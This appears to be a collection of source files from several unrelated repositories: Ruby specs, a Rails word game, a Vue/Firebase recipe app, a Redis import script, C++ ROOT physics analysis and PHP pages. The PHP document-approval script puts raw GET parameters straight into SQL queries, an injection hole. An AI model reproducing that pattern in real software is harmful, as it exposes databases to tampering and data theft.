expect(repo.last.author).to eq('Edited author')
end
it 'has a flash notice' do
flash = action.exposures[:flash]
expect(flash[:notice]).to eq('Book was updated.')
end
end
context 'with invalid id' do
let(:data) { Hash[title: '', author: ''] }
let!(:response) { action.call(params) }
it 'return error' do
expect(response[0]).to eq(422)
end
it 'does not change database record' do
expect(repo.last.title).to eq(book[:title])
expect(repo.last.author).to eq(book[:author])
end
it 'dumps errors in params' do
errors = action.params.errors
expect(errors.dig(:book, :title)).to eq(['must be filled'])
expect(errors.dig(:book, :author)).to eq(['must be filled'])
expect(errors.dig(:book, :user_id)).to eq(['is missing'])
end
end
end
| 81c2ed7ce0c2e3502599663b6dc53e5ab0cbdb94 | [
"Markdown",
"Ruby"
] | 38 | Ruby | mstranger/bookshelf | 4f2f19d42db419ce5b57f08c8eda198285f6e2ae | 3227a21ffe6d7d841ee74bd52ce180593b88924e |
refs/heads/master | <repo_name>therealchristopheryu/rails-longest-word-game<file_sep>/config/routes.rb
Rails.application.routes.draw do
get 'new', to: 'words#game'
post 'score', to: 'words#score'
root to: 'words#game'
end
# For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
<file_sep>/app/controllers/words_controller.rb
require "open-uri"
class WordsController < ApplicationController
# def game
# @start_time = Time.now
# end
# def score
# @attempt = params[:answer]
# @end_time = Time.now
# @grid_i = params[:size].to_i
# @grid = generate_grid(10)
# # @test = params[:size].class
# # @score = run_game(@attempt, @grid, @start_time, @end_time)
# end
# end
# def generate_grid(grid_size)
# # TODO: generate random grid of letters
# grid = []
# letters = %w[a b c d e f g h i j k l m n o p q r s t u v w x y z]
# i = 0
# while i < @grid_i
# grid_size.times do
# grid << letters[rand(26)]
# i += 1
# end
# end
# return grid
# end
# def time_check(start_time, end_time)
# time_diff = @end_time - @start_time
# points = @attempt.length / time_diff
# end
# # def run_game(attempt, grid, start_time, end_time)
# # # TODO: runs the game and return detailed hash of result
# # time_check(start_time, end_time)
# # end
VOWELS = %w(A E I O U Y)
def game
#creating array of size 5 with array elements from VOWELS
@letters = Array.new(5) { VOWELS.sample }
#adding another 5 elements (consonants) to @letters array
@letters += Array.new(5) { (('A'..'Z').to_a - VOWELS).sample }
@letters.shuffle!
@start_time = Time.now
end
def score
@end_time = Time.now
#passed start_time param through form and recalled it here
@start_time = params[:start_time]
@attempt = params[:word]
@letters = params[:letters].split
@word = (params[:word] || "").upcase
@included = included?(@word, @letters)
@english_word = english_word?(@word)
@attempt = params[:word]
@points = @attempt.length / time_check(Time.parse(@start_time), @end_time)
end
def time_check (start_time, end_time)
@time_diff = end_time - start_time
end
private
def included?(word, letters)
word.chars.all? { |letter| word.count(letter) <= letters.count(letter) }
end
def english_word?(word)
response = open("https://wagon-dictionary.herokuapp.com/#{word}")
json = JSON.parse(response.read)
json['found']
end
end
| 8a658e33c3638eba70edeb884e397bc24b3a05bf | [
"Ruby"
] | 2 | Ruby | therealchristopheryu/rails-longest-word-game | 31c96207a419123440f005cde28640ceef452b82 | 6c07e64e787d7cf4723c454f7840c720b924b170 |
refs/heads/master | <repo_name>kmwa20042000/vue-cocina-kazu<file_sep>/src/router/index.js
import Spanishmenu from '../components/spanishmenu.vue'
import Japanesemenu from '../components/japmenu'
import Italianmenu from '../components/italianmenu'
import Indianmenu from '../components/indianmenu'
import Home from '../components/home'
import Login from '../components/login.vue'
import Registration from '../components/registration.vue'
import Profile from '../components/profile'
import Chat from '../components/chat-boxes'
import VueRouter from "vue-router";
import Vue from "vue";
import thankyou from '../components/thankyou.vue'
Vue.use(VueRouter);
const routes = ([
{
path: '/',
name: "home",
component: Home,
meta:{
requiresAuth: true
}
},
{
path: '/spanish',
component:
Spanishmenu
},
{
path: '/japanese',
component: Japanesemenu
},
{
path: '/italian',
component:
Italianmenu},
{
path: '/indian',
component: Indianmenu},
{
path:'/login',
component: Login,
meta: {
guest: true}
},
{
path:'/registration',
component: Registration
},
{
path:'/profile',
name: Profile,
component: Profile,
meta:{
requiresAuth: true
}
},
{
path: '/chats',
name: Chat,
component: Chat,
},
{
path:'/thankyou',
name: thankyou,
component: thankyou,
}
]
);
const router = new VueRouter({
routes,
mode: 'history',
});
export default router;<file_sep>/src/main.js
import Vue from 'vue'
import App from './App.vue'
import 'bootstrap/dist/css/bootstrap.css'
import 'bootstrap-vue/dist/bootstrap-vue.css'
import VueRouter from 'vue-router'
import router from './router'
import { BootstrapVue, IconsPlugin } from 'bootstrap-vue'
import { library } from '@fortawesome/fontawesome-svg-core'
import { faClock } from '@fortawesome/free-solid-svg-icons'
import { FontAwesomeIcon } from '@fortawesome/vue-fontawesome'
import vueNumeralFilterInstaller from 'vue-numeral-filter';
import firebase from 'firebase';
import * as firebaseui from 'firebaseui'
import Vuex from 'vuex'
import 'es6-promise/auto'
import { store } from '../src/store'
Vue.use(firebaseui)
library.add(faClock)
Vue.component('font-awesome-icon', FontAwesomeIcon)
Vue.use(BootstrapVue)
Vue.use(IconsPlugin)
Vue.config.productionTip = false
Vue.use(VueRouter)
Vue.use(vueNumeralFilterInstaller, { locale: 'en-gb' });
require("firebase/firestore");
Vue.use(Vuex)
const firebaseConfig = {
apiKey: "<KEY>",
authDomain: "fir-387ad.firebaseapp.com",
databaseURL: "https://fir-387ad.firebaseio.com",
projectId: "fir-387ad",
storageBucket: "fir-387ad.appspot.com",
messagingSenderId: "531899216348",
appId: "1:531899216348:web:d2c1e13ac787c949e65f19",
measurementId: "G-KXHW18FZD1"
};
firebase.initializeApp(firebaseConfig);
const db = firebase.firestore();
window.db = db;
firebase.auth().onAuthStateChanged(user=>{
if(user){
store.dispatch('activeUser',user)
}else{
store.dispatch('activeUser',null)
}
})
new Vue({
store,
router,
render: h => h(App),
}).$mount('#app')
<file_sep>/src/store/index.js
import Vue from 'vue'
import Vuex from 'vuex'
import axios from 'axios'
import firebase from "firebase"
import router from '../router'
Vue.use(Vuex, axios);
export const store = new Vuex.Store({
state: {
spnRecipeList: [],
itaRecipeList: [],
jpnRecipesList: [],
indianRecipeList: [],
user: null,
email: '',
password: '',
toekn: '',
status: false,
error: null,
},
actions: {
loadSpanishMenu({
commit
}) {
axios
.get('https://api.spoonacular.com/recipes/complexSearch?cuisine=spanish&maxFat=52&addRecipeInformation=true&instructionsRequired=true&maxReadyTime=100&maxProtein=100&maxCarbs=100&maxCalories=800&addRecipeInformation=true&number=15&apiKey=<KEY>')
.then(res => {
let spnRecipes = res.data
commit('spn_menu', spnRecipes)
})
.catch(error => {
console.log(error)
})
},
loadItalianhMenu({
commit
}) {
axios
.get('https://api.spoonacular.com/recipes/complexSearch?cuisine=italian&maxFat=52&addRecipeInformation=true&instructionsRequired=true&maxReadyTime=100&maxProtein=100&maxCarbs=100&maxCalories=800&addRecipeInformation=true&number=15&apiKey=<KEY>')
.then(res => {
let itnRecipes = res.data
commit('itn_menu', itnRecipes)
})
.catch(error => {
console.log(error)
})
},
loadJpnMenu({
commit
}) {
axios
.get('https://api.spoonacular.com/recipes/complexSearch?cuisine=japanese&maxFat=52&addRecipeInformation=true&instructionsRequired=true&maxReadyTime=100&maxProtein=100&maxCarbs=100&maxCalories=800&addRecipeInformation=true&number=15&apiKey=<KEY>')
.then(res => {
let jpnRecipes = res.data
commit('jpn_menu', jpnRecipes)
})
},
loadIndMenu({
commit
}) {
axios
.get('https://api.spoonacular.com/recipes/complexSearch?cuisine=indian&maxFat=52&addRecipeInformation=true&instructionsRequired=true&maxReadyTime=100&maxProtein=100&maxCarbs=100&maxCalories=800&addRecipeInformation=true&number=15&apiKey=<KEY>')
.then(res => {
let indRecipes = res.data
commit('ind_menu', indRecipes)
})
},
authUser({
commit
}, payload) {
commit('authUser', payload)
},
signInGoogle({
commit
}) {
let provider = new firebase.auth.GoogleAuthProvider();
firebase.auth().signInWithPopup(provider)
.then(user => commit('authUser', user.user))
.then(() => router.push('/chats'))
.catch(error => {
console.log(error)
})
},
register({
commit
}, payload) {
console.log(payload)
firebase.auth().createUserWithEmailAndPassword(payload.email, payload.password)
.then(() => {
let user = firebase.auth().currentUser;
user.updateProfile({
displayName: payload.email
}).then(() => {
commit('authUser', firebase.auth().currentUser)
router.push('/')
})
})
},
activeUser({
commit
}, payload) {
commit('authUser', payload)
},
signInEmail({
commit
}, payload) {
firebase.auth().signInWithEmailAndPassword(payload.email, payload.password)
.then(user => commit('authUser', user.user)).catch((error => {
console.warn(error)
}))
router.push('/chats')
}
},
mutations: {
spn_menu(state, spnRecipes) {
state.spnRecipeList = spnRecipes.results
console.log(state.spnRecipeList);
},
ind_menu(state, indRecipes) {
state.indianRecipeList = indRecipes.results
},
itn_menu(state, itnRecipes) {
state.itaRecipeList = itnRecipes.results
},
jpn_menu(state, jpnRecipes) {
state.jpnRecipesList = jpnRecipes.results
},
authUser(state, user) {
state.user = user;
},
logoutUser: state => {
state.user = null;
}
},
getters: {
getUser: (state) => {
return state.user
},
isSignedIn(state) {
return state.status
},
logoutUser: context => {
context.commit('logoutUser');
}
}
}) | a252c14bd306c5ba9bcd60e5ea55e66e59a19f31 | [
"JavaScript"
] | 3 | JavaScript | kmwa20042000/vue-cocina-kazu | e2bb77c20d31f7a37975b7187d7173c8b81ec713 | 02e1feacd17a6e05c92cf7963df7229f6c969604 |
refs/heads/main | <repo_name>zhangshuo1991/E-Redis<file_sep>/src/server/insert_redis.js
var readline = require('readline')
const fs = require('fs')
const Redis = require('ioredis')
const redis = new Redis({
port: 6379, // Redis port
host: '192.168.1.199', // Redis host
family: 4, // 4 (IPv4) or 6 (IPv6)
password: '<PASSWORD>',
db: 5
})
function fileToRedis (fileName) {
var fRead = fs.createReadStream(fileName + '.json')
var objReadline = readline.createInterface({
input: fRead
})
objReadline.on('line', function (line) {
const IMG_ICON_CACHE = JSON.parse(line)
redis.hset(fileName, IMG_ICON_CACHE.key, IMG_ICON_CACHE.data)
})
objReadline.on('close', function (arr) {
console.log(arr)
})
}
fileToRedis('IMG_ICON_CACHE')
fileToRedis('IMG_NINE_CACHE')
| 7648719b17d7dcaa10e51d01eb929501f6fb7277 | [
"JavaScript"
] | 1 | JavaScript | zhangshuo1991/E-Redis | 74748bff046b0d7425e5ac296e73e76c71d1658d | d8a68d02f5f0c0067b6df5298a17d2bc33b1cb05 |
refs/heads/master | <file_sep>/*
* MyJet.h
*
* Created on: Feb 1, 2012
* Author: csander
*/
#ifndef MYJET_H_
#define MYJET_H_
#include <TLorentzVector.h>
#include <TRandom3.h>
using namespace std;
class MyJet: public TLorentzVector {
public:
MyJet();
MyJet(double px, double py, double pz, double e) {
SetPxPyPzE(px, py, pz, e);
}
;
virtual ~MyJet();
void SetBTagDiscriminator(double x) {
btag = x;
}
;
const double GetBTagDiscriminator() {
return btag;
}
;
const bool IsBTagged(double th=1.74) {
return (btag > th);
}
;
void SetJetID(bool id) {
jetid = id;
}
;
const bool GetJetID() {
return jetid;
}
;
const string toString() {
string px = to_string(this->Px());
string py = to_string(this->Py());
string pz = to_string(this->Pz());
string phi = to_string(this->Phi());
string eta = to_string(this->Eta());
string bTag = to_string(this->GetBTagDiscriminator());
return "(" + px + ", " + py + ", " + pz + ") PhiAndEta(" + phi + ", " + eta + ") bTag: " + bTag;
}
private:
double btag;
bool jetid;
};
#endif /* MYJET_H_ */
<file_sep>. $(brew --prefix root6)/libexec/thisroot.sh
make
./example.x
# open results.pdf
# open results_MC.pdf
<file_sep># OUTPUT OF THIS SCRIPT
# mc_tt_bar_events: 7929.18
# mc_tt_bar_events_hlt: 1001.8
# mc_trigger_effiency: 0.1263434554392762
# mc_tt_bar_events_after_cuts: 350.0
# mc_acceptance: 0.34937113196246755
# data_tt_bar_events_after_cuts_and_background_substraction: 331.0
# data_tt_bar_total_events: 7498.7388
# data_luminosity: 50.0
# data_tt_bar_cross_section: 149.974776
# 149.974776 | 136.34070545454546 - 166.63864 | 0.9090909090909092 1.1111111111111112
# change: 0.09090909090909083
# 149.974776 | 142.83312 - 157.8681852631579 | 0.9523809523809524 1.0526315789473686
# change: 0.04761904761904756
# 149.974776 | 134.9772984 - 164.97225360000004 | 0.9 1.1000000000000003
# change: 0.09999999999999998
# 149.974776 | 139.4985386134853 - 160.4510133865147 | 0.9301466708874118 1.0698533291125882
# change: 0.06985332911258824
# sqrt(a*a + b*b + c*c + d*d) = 0.15940992470412255
# 126.06730825032236 - 173.88224374967763
mc_tt_bar_events = 7929.18
mc_tt_bar_events_hlt = 1001.8
mc_trigger_effiency = mc_tt_bar_events_hlt / mc_tt_bar_events
mc_tt_bar_events_after_cuts = 350.0
mc_acceptance = mc_tt_bar_events_after_cuts / mc_tt_bar_events_hlt
data_tt_bar_events_after_cuts_and_background_substraction = 331.0
data_tt_bar_total_events = (331.0 / mc_trigger_effiency) / mc_acceptance
data_luminosity = 50.0
data_tt_bar_cross_section = data_tt_bar_total_events / data_luminosity
puts "mc_tt_bar_events: #{mc_tt_bar_events}"
puts "mc_tt_bar_events_hlt: #{mc_tt_bar_events_hlt}"
puts "mc_trigger_effiency: #{mc_trigger_effiency}"
puts "mc_tt_bar_events_after_cuts: #{mc_tt_bar_events_after_cuts}"
puts "mc_acceptance: #{mc_acceptance}"
puts "data_tt_bar_events_after_cuts_and_background_substraction: #{data_tt_bar_events_after_cuts_and_background_substraction}"
puts "data_tt_bar_total_events: #{data_tt_bar_total_events}"
puts "data_luminosity: #{data_luminosity}"
puts "data_tt_bar_cross_section: #{data_tt_bar_cross_section}\n\n"
luminosity_uncertainty = 0.1
btagging_efficiency_uncertainity = 0.1
trigger_efficiency_uncertainity = 0.05
crosssection_uncertainity_on_background_events = 0.1
changes = []
data_luminosity_min = data_luminosity - (data_luminosity*luminosity_uncertainty)
data_luminosity_max = data_luminosity + (data_luminosity*luminosity_uncertainty)
data_tt_bar_cross_section_max = data_tt_bar_total_events / data_luminosity_min
data_tt_bar_cross_section_min = data_tt_bar_total_events / data_luminosity_max
puts "#{data_tt_bar_cross_section} | #{data_tt_bar_cross_section_min} - #{data_tt_bar_cross_section_max} | #{data_tt_bar_cross_section_min/data_tt_bar_cross_section} #{data_tt_bar_cross_section_max/data_tt_bar_cross_section}"
change = 1 - (data_tt_bar_cross_section_min/data_tt_bar_cross_section)
changes << change
puts "change: #{change}"
mc_trigger_effiency_min = mc_trigger_effiency - (mc_trigger_effiency*trigger_efficiency_uncertainity)
mc_trigger_effiency_max = mc_trigger_effiency + (mc_trigger_effiency*trigger_efficiency_uncertainity)
data_tt_bar_cross_section_max = ((331.0 / mc_trigger_effiency_min) / mc_acceptance) / data_luminosity
data_tt_bar_cross_section_min = ((331.0 / mc_trigger_effiency_max) / mc_acceptance) / data_luminosity
puts "#{data_tt_bar_cross_section} | #{data_tt_bar_cross_section_min} - #{data_tt_bar_cross_section_max} | #{data_tt_bar_cross_section_min/data_tt_bar_cross_section} #{data_tt_bar_cross_section_max/data_tt_bar_cross_section}"
change = 1 - (data_tt_bar_cross_section_min/data_tt_bar_cross_section)
changes << change
puts "change: #{change}"
data_tt_bar_events = 331.0
data_tt_bar_events_min = data_tt_bar_events - (data_tt_bar_events*crosssection_uncertainity_on_background_events)
data_tt_bar_events_max = data_tt_bar_events + (data_tt_bar_events*crosssection_uncertainity_on_background_events)
data_tt_bar_cross_section_min = ((data_tt_bar_events_min / mc_trigger_effiency) / mc_acceptance) / data_luminosity
data_tt_bar_cross_section_max = ((data_tt_bar_events_max / mc_trigger_effiency) / mc_acceptance) / data_luminosity
puts "#{data_tt_bar_cross_section} | #{data_tt_bar_cross_section_min} - #{data_tt_bar_cross_section_max} | #{data_tt_bar_cross_section_min/data_tt_bar_cross_section} #{data_tt_bar_cross_section_max/data_tt_bar_cross_section}"
change = 1 - (data_tt_bar_cross_section_min/data_tt_bar_cross_section)
changes << change
puts "change: #{change}"
x = 331.0 * ((331.0/473.85) * btagging_efficiency_uncertainity)
data_tt_bar_cross_section_min = (( (331.0 - x ) / mc_trigger_effiency) / mc_acceptance) / data_luminosity
data_tt_bar_cross_section_max = (( (331.0 + x ) / mc_trigger_effiency) / mc_acceptance) / data_luminosity
puts "#{data_tt_bar_cross_section} | #{data_tt_bar_cross_section_min} - #{data_tt_bar_cross_section_max} | #{data_tt_bar_cross_section_min/data_tt_bar_cross_section} #{data_tt_bar_cross_section_max/data_tt_bar_cross_section}"
change = 1 - (data_tt_bar_cross_section_min/data_tt_bar_cross_section)
changes << change
puts "change: #{change}"
changes = Math.sqrt(changes.map do |change|
change ** 2
end.inject(0, &:+))
puts "sqrt(a*a + b*b + c*c + d*d) = #{changes}"
data_tt_bar_cross_section_min = data_tt_bar_cross_section - (data_tt_bar_cross_section*changes)
data_tt_bar_cross_section_max = data_tt_bar_cross_section + (data_tt_bar_cross_section*changes)
puts "#{data_tt_bar_cross_section_min} - #{data_tt_bar_cross_section_max}"
<file_sep>// per event muon with highest pt -> to histogram
// if passed HLT -> to second histogram
// second histogram / first histogram -> third histogram
// pt - transverse momentum
// eta - angle 2.1-2.5, eta, theta
#define Ex3Analysis_cxx
#include <string>
#include <iostream>
#include "Ex3Analysis.h"
#include <TH1F.h>
#include <TH2F.h>
#include <TLatex.h>
#include <TCanvas.h>
using namespace std;
void Ex3Analysis::BuildEvent() {
Muons.clear();
for (int i = 0; i < NMuon; ++i) {
MyMuon muon(Muon_Px[i], Muon_Py[i], Muon_Pz[i], Muon_E[i]);
muon.SetIsolation(Muon_Iso[i]);
muon.SetCharge(Muon_Charge[i]);
Muons.push_back(muon);
}
Electrons.clear();
for (int i = 0; i < NElectron; ++i) {
MyElectron electron(Electron_Px[i], Electron_Py[i], Electron_Pz[i], Electron_E[i]);
electron.SetIsolation(Electron_Iso[i]);
electron.SetCharge(Electron_Charge[i]);
Electrons.push_back(electron);
}
Photons.clear();
for (int i = 0; i < NPhoton; ++i) {
MyPhoton photon(Photon_Px[i], Photon_Py[i], Photon_Pz[i], Photon_E[i]);
photon.SetIsolation(Photon_Iso[i]);
Photons.push_back(photon);
}
Jets.clear();
for (int i = 0; i < NJet; ++i) {
MyJet jet(Jet_Px[i], Jet_Py[i], Jet_Pz[i], Jet_E[i]);
jet.SetBTagDiscriminator(Jet_btag[i]);
jet.SetJetID(Jet_ID[i]);
Jets.push_back(jet);
}
hadB.SetXYZM(MChadronicBottom_px, MChadronicBottom_py, MChadronicBottom_pz, 4.8);
lepB.SetXYZM(MCleptonicBottom_px, MCleptonicBottom_py, MCleptonicBottom_pz, 4.8);
hadWq.SetXYZM(MChadronicWDecayQuark_px, MChadronicWDecayQuark_py, MChadronicWDecayQuark_pz, 0.0);
hadWqb.SetXYZM(MChadronicWDecayQuarkBar_px, MChadronicWDecayQuarkBar_py, MChadronicWDecayQuarkBar_pz, 0.0);
lepWl.SetXYZM(MClepton_px, MClepton_py, MClepton_pz, 0.0);
lepWn.SetXYZM(MCneutrino_px, MCneutrino_py, MCneutrino_pz, 0.0);
met.SetXYZM(MET_px, MET_py, 0., 0.);
EventWeight *= weight_factor;
}
void Ex3Analysis::Begin(TTree * /*tree*/) {
// The Begin() function is called at the start of the query.
// When running with PROOF Begin() is only called on the client.
// The tree argument is deprecated (on PROOF 0 is passed).
TString option = GetOption();
cout << "Ex3Analysis::Begin()\n";
}
// The SlaveBegin() function is called after the Begin() function.
// When running with PROOF SlaveBegin() is called on each slave server.
// The tree argument is deprecated (on PROOF 0 is passed).
void Ex3Analysis::SlaveBegin(TTree * /*tree*/) {
TString option = GetOption();
int pins_count = 100;
int xup = 0;
int xlow = 200;
pt_histogram = new TH1F("Muon pt", "Muon pt", pins_count, xup, xlow);
pt_histogram->SetXTitle("pT");
pt_histogram->Sumw2();
pt_passed_hlt_histogram = new TH1F("Passed HLT", "Passed HLT", pins_count, xup, xlow);
pt_passed_hlt_histogram->SetXTitle("pT");
pt_passed_hlt_histogram->Sumw2();
efficiency_histogram = new TH1F("Efficiency", "Efficiency", pins_count, xup, xlow);
efficiency_histogram->SetXTitle("pT");
efficiency_histogram->Sumw2();
}
// The Process() function is called for each entry in the tree (or possibly
// keyed object in the case of PROOF) to be processed. The entry argument
// specifies which entry in the currently loaded tree is to be processed.
// It can be passed to either Ex3Analysis::GetEntry() or TBranch::GetEntry()
// to read either all or the required parts of the data. When processing
// keyed objects with PROOF, the object is already loaded and is available
// via the fObject pointer.
//
// This function should contain the "body" of the analysis. It can contain
// simple or elaborate selection criteria, run algorithms on the data
// of the event and typically fill histograms.
//
// The processing can be stopped by calling Abort().
//
// Use fStatus to set the return value of TTree::Process().
//
// The return value is currently not used.
Bool_t Ex3Analysis::Process(Long64_t entry) {
++TotalEvents;
GetEntry(entry);
if (TotalEvents % 10000 == 0)
cout << "Next event -----> " << TotalEvents << endl;
BuildEvent();
double muon_highest_pt = get_muon_highest_pt();
bool event_passed_hlt = triggerIsoMu24;
if (muon_highest_pt > 0) {
pt_histogram->Fill(muon_highest_pt, EventWeight);
if (event_passed_hlt) {
pt_passed_hlt_histogram->Fill(muon_highest_pt, EventWeight);
efficiency_histogram->Fill(muon_highest_pt, EventWeight);
}
}
if (muon_highest_pt > 25) {
++MuonOver25PtEvents;
if (event_passed_hlt) {
++MuonOver25PtEventsPassedHlt;
}
}
return kTRUE;
}
double Ex3Analysis::get_muon_highest_pt() {
double muon_highest_pt = 0;
for (vector<MyMuon>::iterator muon = Muons.begin(); muon != Muons.end(); ++muon) {
if (muon->IsIsolated() && muon->Pt() > muon_highest_pt) {
muon_highest_pt = muon->Pt();
}
}
return muon_highest_pt;
}
// The SlaveTerminate() function is called after all entries or objects
// have been processed. When running with PROOF SlaveTerminate() is called
// on each slave server.
void Ex3Analysis::SlaveTerminate() {
cout << "Ex3Analysis::SlaveTerminate()\n";
TCanvas *canvas = new TCanvas("canvas");
pt_histogram->Draw();
canvas->Print("ex3-pt_histogram.pdf");
pt_passed_hlt_histogram->Draw();
canvas->Print("ex3-pt_passed_hlt_histogram.pdf");
efficiency_histogram->Divide(pt_histogram);
efficiency_histogram->Draw("E1");
canvas->Print("ex3-efficiency_histogram.pdf");
cout << "MuonOver25PtEventsPassedHlt: " << MuonOver25PtEventsPassedHlt << "\n";
cout << "MuonOver25PtEvents: " << MuonOver25PtEvents << "\n";
float efficiency = ((float)MuonOver25PtEventsPassedHlt / (float)MuonOver25PtEvents);
cout << "Efficiency for over pT > 25Gev: (" << MuonOver25PtEventsPassedHlt << " / " << MuonOver25PtEvents << ") =" << efficiency << "\n";
}
// The Terminate() function is the last function to be called during
// a query. It always runs on the client, it can be used to present
// the results graphically or save the results to file.
void Ex3Analysis::Terminate() {
cout << "Ex3Analysis::Terminate()\n";
}
<file_sep>#include "MyAnalysis.h"
#include "Plotter.h"
#include <iostream>
#include <TChain.h>
#include <TGraphAsymmErrors.h>
#include <string>
#include "Ex3.h"
#include "TGraphAsymmErrors.h"
#include "TCanvas.h"
#include "TH1F.h"
using namespace std;
int main() {
float lumi = 50.;
// https://root.cern.ch/root/html/TChain.html
cout << "\n\nDATA:\n";
MyAnalysis *A = new MyAnalysis();
TChain* ch = new TChain("events");
ch->Add("files/data.root");
ch->Process(A);
cout << "\n\nTTBar:\n";
MyAnalysis *B = new MyAnalysis();
TChain* ch2 = new TChain("events");
ch2->Add("files/ttbar.root");
ch2->Process(B);
cout << "\n\nWjets:\n";
MyAnalysis *C = new MyAnalysis();
TChain* ch3 = new TChain("events");
ch3->Add("files/wjets.root");
ch3->Process(C);
cout << "\n\nDY:\n";
MyAnalysis *D = new MyAnalysis();
TChain* ch4 = new TChain("events");
ch4->Add("files/dy.root");
ch4->Process(D);
cout << "\n\nWW:\n";
MyAnalysis *E = new MyAnalysis();
TChain* ch5 = new TChain("events");
ch5->Add("files/ww.root");
ch5->Process(E);
cout << "\n\nWZ:\n";
MyAnalysis *F = new MyAnalysis();
TChain* ch6 = new TChain("events");
ch6->Add("files/wz.root");
ch6->Process(F);
cout << "\n\nZZ:\n";
MyAnalysis *G = new MyAnalysis();
TChain* ch7 = new TChain("events");
ch7->Add("files/zz.root");
ch7->Process(G);
cout << "\n\nQCD:\n";
MyAnalysis *H = new MyAnalysis();
TChain* ch8 = new TChain("events");
ch8->Add("files/qcd.root");
ch8->Process(H);
cout << "\n\nSigleTop:\n";
MyAnalysis *I = new MyAnalysis();
TChain* ch9 = new TChain("events");
ch9->Add("files/single_top.root");
ch9->Process(I);
Plotter P;
P.SetData(A->histograms, "Data");
P.AddBg(B->histograms, "TTbar");
P.AddBg(C->histograms, "Wjets");
P.AddBg(D->histograms, "DY");
P.AddBg(E->histograms, "WW");
P.AddBg(F->histograms, "WZ");
P.AddBg(G->histograms, "ZZ");
P.AddBg(H->histograms, "QCD");
P.AddBg(I->histograms, "single Top");
P.Plot("results.pdf");
vector<TH1F*> dataWithoutBackgrounds;
int histogramsSize = A->histograms.size();
// for each data histogram
for (int i = 0; i < histogramsSize; i++) {
TH1F* histogram = (TH1F*) A->histograms.at(i)->Clone();
histogram->Add(C->histograms.at(i), -1);
histogram->Add(D->histograms.at(i), -1);
histogram->Add(E->histograms.at(i), -1);
histogram->Add(F->histograms.at(i), -1);
histogram->Add(G->histograms.at(i), -1);
histogram->Add(H->histograms.at(i), -1);
histogram->Add(I->histograms.at(i), -1);
dataWithoutBackgrounds.push_back(histogram);
}
Plotter plotterWithoutBackgrounds;
plotterWithoutBackgrounds.SetData(dataWithoutBackgrounds, "Data");
plotterWithoutBackgrounds.AddBg(B->histograms, "TTbar");
plotterWithoutBackgrounds.Plot("results-without-bg.pdf");
cout << "TTBAR events in data (having cuts and subtracted backgrounds):" << dataWithoutBackgrounds.at(histogramsSize-2)->Integral() << "\n";
Plotter P_MC;
P_MC.AddBg(B->histograms_MC, "TTbar");
P_MC.AddBg(C->histograms_MC, "Wjets");
P_MC.AddBg(D->histograms_MC, "DY");
P_MC.AddBg(E->histograms_MC, "WW");
P_MC.AddBg(F->histograms_MC, "WZ");
P_MC.AddBg(G->histograms_MC, "ZZ");
P_MC.AddBg(H->histograms_MC, "QCD");
P_MC.AddBg(I->histograms_MC, "single Top");
P_MC.Plot("results_MC.pdf");
}
<file_sep>#include <string>
#include <iostream>
#include "Ex3.h"
#include "Ex3Analysis.h"
#include "Plotter.h"
using namespace std;
void Ex3::GenerateGraph() {
cout << "Ex3 start.\n";
Ex3Analysis *a = new Ex3Analysis();
TChain* events = new TChain("events");
events->Add("files/ttbar.root");
events->Process(a);
cout << "Ex3 end.\n";
}
<file_sep>. /Applications/root/bin/thisroot.sh
root
make
./example.x
Center of momentum frame
Lab frame
Standard model contains of quarks, leptons and forces
Hadron is a composite particle made of quarks held together by the strong force
Meson is a hadronic subatomic particle composed of one quark and one antiquark, bound together by the strong interaction
Sündmuste arv, kus oli vastav arv müüoneid.
| a5b58e76b8af26e4e626e01e6063f4cf987cf22f | [
"Ruby",
"Markdown",
"C",
"C++",
"Shell"
] | 7 | C++ | mxrguspxrt/kbfi | 0d10a17463804d0232cb729d19f06aeb3f69b545 | ca77587db2b72f595249ae4373c3c24b4bff32ab |
refs/heads/master | <repo_name>westhpw/DarkTranslationBundle<file_sep>/Command/BuildDocsCommand.php
<?php
namespace Dark\TranslationBundle\Command;
use Symfony\Bundle\FrameworkBundle\Command\ContainerAwareCommand;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;
/**
* This command builds html documentation using sphinx
*
* @author <NAME> <<EMAIL>>
*/
class BuildDocsCommand extends ContainerAwareCommand
{
protected function configure()
{
$this
->setName('dark-translation:build-docs')
->setDescription('Build your sphinx docs')
;
}
protected function execute(InputInterface $input, OutputInterface $output)
{
if (!function_exists('shell_exec')) {
throw new \Exception('Function "shell_exec" is disabled, cannot work without it.');
}
$sourcePath = $this->getContainer()->getParameter('dark_translation.source.to');
$buildPath = $this->getContainer()->getParameter('dark_translation.build.path');
if (!file_exists($sourcePath)) {
throw new \Exception('Folder ' . $sourcePath . ' does not exist.');
}
if (!file_exists($buildPath)) {
mkdir($buildPath, 0755, true);
}
$configPath = __DIR__.'/../Resources/python';
shell_exec(sprintf('sphinx-build -c %s -b html %s %s', $configPath, $sourcePath, $buildPath));
$output->writeln('<info>Building has been finished.</info>');
}
} | fccb8c75eb5ca7869c1e8bb05b597af018070535 | [
"PHP"
] | 1 | PHP | westhpw/DarkTranslationBundle | 9637559ec5f5dd7d327ebcff4fcb8ee57106d4f8 | 11ce7bbfe1f6acf6d51a7c65f32c5b0510a7328f |
refs/heads/master | <file_sep><?php
include('navbar.php');
include_once 'dbconnect.php';
//check if form is submitted
if (isset($_POST['submit']))
{
try {
$request = myConnection()->prepare("UPDATE document SET DOC_STATUS = '1' WHERE ID_DOCUMENT = '" . $_GET['id_doc'] . "'");
$request->execute();
$sql = 'select * from document WHERE ID_DOCUMENT ='. $_GET['id_doc'].'';
$result = mysqli_query($con, $sql);
while($row = mysqli_fetch_array($result)) {
$sujet = $row['DOC_NOM'];
$message = "Votre document ".$row['DOC_NOM']." a été accepté.";
}
$sql = 'SELECT PER_EMAIL FROM personnephysique WHERE ID_PERSONNEP = '. $_GET['idpersonne'].'';
$result = mysqli_query($con, $sql);
while($row = mysqli_fetch_array($result)) {
$email = $row['PER_EMAIL'];
}
mail($email, "Modification dans vos documents déposé : Document " .$sujet , $message);
header("Location: http://www.esig-sandbox.ch/team20_2_v2/docsClient.php?id=" . $_GET['idpersonne'] . "&c=1&st=success");
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
}
?><file_sep><!doctype html>
<?php
require 'fonction.php';
session_start();
?>
<html lang="en">
<head>
<!-- responsive Smartphone -->
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Colorlib Templates">
<meta name="author" content="Colorlib">
